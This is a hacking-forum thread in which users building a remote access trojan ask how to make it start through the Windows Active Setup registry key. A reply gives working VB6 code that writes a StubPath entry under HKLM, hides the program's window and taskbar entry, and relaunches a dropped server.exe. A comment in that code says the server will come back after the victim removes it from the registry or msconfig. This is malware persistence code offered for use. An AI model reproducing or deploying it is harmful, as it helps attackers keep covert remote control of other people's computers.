Thread: Active-X Startup

Hi!

My Friend and I are currently coding on a RAT which you can control over your Mobile and your PC too.
For the Server we use the Active-X Startup Method and now i want to know how this Startup-Method works.

Picture of Regeditor:
http://img136.imageshack.us/my.php?i...benanntpi3.jpg

The exe starts, but befor i can see the Desktop a Messagebox appears with following content:

Personal Settings

Path to Exe-File

If i close the MSGBox the PC is loading the Desktop.

If i try it with other RATs it works perfectly (Poison Ivy) and the Active-X Key is not differnt as mine. But in this case no Messagebox pops up.

What should i do? Should i register another Key?

thanks in advance

PS: Sry for bad English!

Just what is the point of that MessageBox anyway??

You are writting a RAt that you will control over Mobile phone, in VB?! Do you know how funny this sounds?
How will you connect your server to a Mobile phone? (sorry for the offtopic question)

lol ... we're just using the standard Wapbrowser of any mobile for interpreting wml sites on our webserver, where the RAT-Server communicates with it.
Clear? ^^
So we're not gonna write an application for a mobile phone in VB

The point is that we do not want the messagebox to appear. In every other Active-X startup such a messagebox doesn't appear. So what should we do for a correct Active-X startup?

Edit: Here is a screenshot about the window that appears after logging in
http://img179.imageshack.us/img179/9442/aasbd7.jpg

ROFL - that chick from your link is average if you ask me.... ))
So, if I understand you, your active-x comes with msgbox? Can't you remove it from the code?

Ok you post the same question on another forum,I allready answer your queation at digitalmaffia. Bot once again:
what you mean is to make your app "MakeResident" (Active Setup)
But it does not work in your actualy Server because windows will not load till that App is closed,you have to drop a nother exe (Extract Resource) and make that one "MakeResident" and let him start your server.

Ok now the code part:
First the Declarations,The code you have to place in a Module:

Code:

Option Explicit

'-------------------------------------------------------------------
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" _
    Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey _
    As String, ByVal ulOptions As Long, ByVal samDesired As _
    Long, phkResult As Long) As Long
'-------------------------------------------------------------------
Private Declare Function RegCloseKey Lib "advapi32.dll" _
    (ByVal hKey As Long) As Long
'-------------------------------------------------------------------
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias _
    "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey _
    As String, ByVal Reserved As Long, ByVal lpClass As Long, _
    ByVal dwOptions As Long, ByVal samDesired As Long, ByVal _
    lpSecurityAttributes As Long, phkResult As Long, _
    lpdwDisposition As Long) As Long
'-------------------------------------------------------------------
Private Declare Function RegDeleteKey Lib "advapi32.dll" _
    Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey _
    As String) As Long
'-------------------------------------------------------------------
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _
    "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
    As String, ByVal Reserved As Long, ByVal dwType As Long, _
    lpData As Any, ByVal cbData As Long) As Long
'-------------------------------------------------------------------

The Const:

Code:

Private Const REG_SZ = 1
Private Const HKEY_CURRENT_USER = &H80000001
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const KEY_ALL_ACCESS = &H3F
Private Const RegPath = "Software\Microsoft\Active Setup\Installed Components"
Private Const DefaultKeyName1 = "{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}"
Private Const DefaultKeyName2 = "{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}"

And make the Sub MakeResident:

Code:

Public Sub MakeResident(ByVal FilePathName As String, _
           Optional KeyName1 As String = DefaultKeyName1, _
           Optional KeyName2 As String = DefaultKeyName2)
 
    
    Dim RegKeyPath1 As String
    Dim RegKeyPath2 As String
    Dim hNewKey As Long
    Dim lRetVal As Long
    
    RegKeyPath1 = RegPath & "\" & KeyName1
    RegKeyPath2 = RegPath & "\" & KeyName2
    
    If RegOpenKeyEx(HKEY_LOCAL_MACHINE, RegKeyPath1, 0, _
        KEY_ALL_ACCESS, hNewKey) Then
        RegCreateKeyEx HKEY_LOCAL_MACHINE, RegKeyPath1, 0, 0, 0, _
            KEY_ALL_ACCESS, 0, hNewKey, lRetVal
        RegSetValueEx hNewKey, "StubPath", 0, REG_SZ, _
            ByVal FilePathName, Len(FilePathName)
        RegDeleteKey HKEY_LOCAL_MACHINE, RegKeyPath2
        RegDeleteKey HKEY_CURRENT_USER, RegKeyPath1
    Else
        RegCreateKeyEx HKEY_LOCAL_MACHINE, RegKeyPath2, 0, 0, 0, _
            KEY_ALL_ACCESS, 0, hNewKey, lRetVal
        RegSetValueEx hNewKey, "StubPath", 0, REG_SZ, _
            ByVal FilePathName, Len(FilePathName)
        RegDeleteKey HKEY_LOCAL_MACHINE, RegKeyPath1
        RegDeleteKey HKEY_CURRENT_USER, RegKeyPath2
    End If
    RegCloseKey hNewKey

End Sub

Now you place the following code in your Form_Load

Code:

Private Sub Form_Load()
App.TaskVisible = False
Me.Hide
MakeResident App.Path & "\" & App.EXEName & ".exe"
Shell ("C:\WINDOWS\System32\server.exe") 'here you activate your actual server,when they remove the server from registery or msconfig it will load again  ;)
End Sub

Ok i hope it helps you a bit to understand how to use Active Setup start up method.

hehe, yes a friend of mine wanted to know this, and as he sits just one meter beside me, i gave him my laptop to quickly post the question on opensc .. after no one replied in the time he wanted to, he took the time to register on DM and posted his question on his own ^^
So anyway, thanks for your answer!
It works fine i guess!
Thanks a lot!

Thanks